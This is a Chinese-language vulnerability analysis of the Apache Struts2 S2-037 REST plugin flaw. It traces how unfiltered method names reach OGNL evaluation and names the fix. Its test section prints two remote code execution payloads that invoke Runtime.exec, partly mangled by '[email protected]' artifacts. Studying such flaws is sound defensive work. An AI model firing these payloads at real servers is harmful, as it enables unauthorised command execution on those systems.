李洁@360信息安全部云安全团队
一、漏洞介绍
该漏洞其实是S2-033的升级版,S2-033的描述是:针对使用REST插件且开启动态方法调用的应用,恶意攻击者可以利用该漏洞进行远程代码执行。当初官方和很多研究者都以为该漏洞产生的前提条件是Apache Struts2开启了动态方法调用。而在后来的研究者中有人发现,在关闭了动态方法调用的前提下,仍然存在远程代码执行漏洞,并且之前认为的安全版本在也存在着该漏洞。
S2-037产生的原因是基于REST插件的特性,在使用REST插件的前提下,不仅可以通过‘uri+!+方法名’的方式进行方法调用,也可以通过‘uri+/+方法名’的方式进行特殊方法调用。而S2-037的漏洞产生原因就在于使用‘/’调用方法的时候没有过滤完全。
二、漏洞分析
在Struts2中,REST插件有着很强的规则性。当包含REST插件的程序执行时,系统的解析顺序为:struts-default.xmlàstruts-plugin.xmlàstruts.xml,如图:
可以看到在解析了struts-default默认的xml文件后,首先解析的是struts的插件配置文件。所以在方法执行中需要先经过rest插件的解析再进入到正常的struts解析过程。(包含REST插件的应用在执行时默认调用index方法)
跟踪了一下执行过程,首先是struts2的拦截器过滤:
过滤后需要查找对应的ActionMapper对应关系,在这时程序会进入到findActionMapper方法中。
在往下看,可以发现在getmapping()方法中存在两种不同的解析。分别对应两个漏洞。
当遇见通过‘/’来调用方法的情况时,程序进入到该程序块内,可以看到,在获得方法名的时候并未进行过滤,从而产生了漏洞。
举个例子,当注入exp时,可以发现mapping解析的结果是使用了json扩展。
值得注意的是,在rest插件的DefaultContentTypeHandlerManager中有一个关于获取url中数据类型的扩展判断。它会自动截取url中最后一个‘.’符号来判断url中的数据是默认的xhtml类型还是其他类型。在S2-033的exp中,大部分都是通过json扩展绕过解析的。
在其后的执行过程就和S2-032中的执行过程一致,通过调用invokeAction方法获得其action对应的result结果。如图。
三、过程
测试版本:struts2 2.3.24.1
测试exp:
(%23mem=%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%[email protected]@getRuntime().exec(%23parameters.cmd):index.xhtml?cmd=gcalctool |
测试结果:
测试版本:struts2 2.3.28.1(官方声称无S2-033漏洞的版本)
测试exp:
(%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=ifconfig |
测试结果:
四、小结
本文主要通过调试介绍了在使用REST插件后应用的工作流程,通过深入源码的调试希望可以对漏洞有进一步了解,并为下一步漏洞exp的编写提供一些参考。
此外,修复上可以采用cleanupActionName方法进行过滤,或者更新至Struts 2.3.29来解决。
五、参考文献
Exp参考:
https://mp.weixin.qq.com/s?__biz=MzA4MDMwMjQ3Mg==&mid=2651864920&idx=1&sn=78b4d159791ee0e475afa0b0c442453b&scene=1&srcid=0616RiLHThk52efJuUtxlaE2&pass_ticket=Ej292GAww8ztwoFjRdAMQs0kMvLfd8zYX8zV3zM1tXwngwzpX9mOC4Qx%2FG9e8vGc#rd
Struts2 最新漏洞S037分析:
https://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=2651680334&idx=1&sn=5c9adb02a1c11d9bbff3ffddb639d62f&scene=1&srcid=06150gRCBTxuLuVgQFQNmkLH&pass_ticket=YqKqTjILNt1trvqVVNywKNsE6nXl%2FHujLU8niUn72AqNWKp3dympfR%2Fz%2Fhz3FveX#rd
struts2的核心和工作原理:http://blog.csdn.net/laner0515/article/details/27692673/
原文始发于微信公众号(补天漏洞响应平台):【干货】Strust2框架S2-037漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论